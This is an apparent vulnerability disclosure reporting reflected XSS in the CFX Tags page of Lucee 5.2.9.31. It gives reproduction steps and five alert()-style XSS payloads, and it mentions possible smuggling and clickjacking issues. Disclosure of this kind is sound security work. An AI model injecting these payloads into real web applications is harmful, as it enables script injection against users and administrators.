XSS in CFX Tags in Lucee 5.2.9.31

There’s a few reflected XSS in the CFX Tags caused by insufficient user input XSS filtering.

Step to reproduce:
1. in Name Field -> Add Anything
2. in Class -> Add XSS.

i Found 5 valid XSS which are:
<img src=""onerror="alert(1)"/>
'<img src=x onerror=alert(1)>
<img src=x onerror=alert()>
"><svg onload=alert(1)>
<><img src=1 onerror=alert(1337)>

btw, is there any information about http smuggling, jquery issue and clickjacking in this issue development. because i found some of them in this lucee version. i tested in :
CentOS 7.6 (Linux (3.10.0-957.5.1.el7.x86_64) 64bit)
Apache Tomcat/8.5.33
Java 1.8.0_181 (64 Bit)

thanks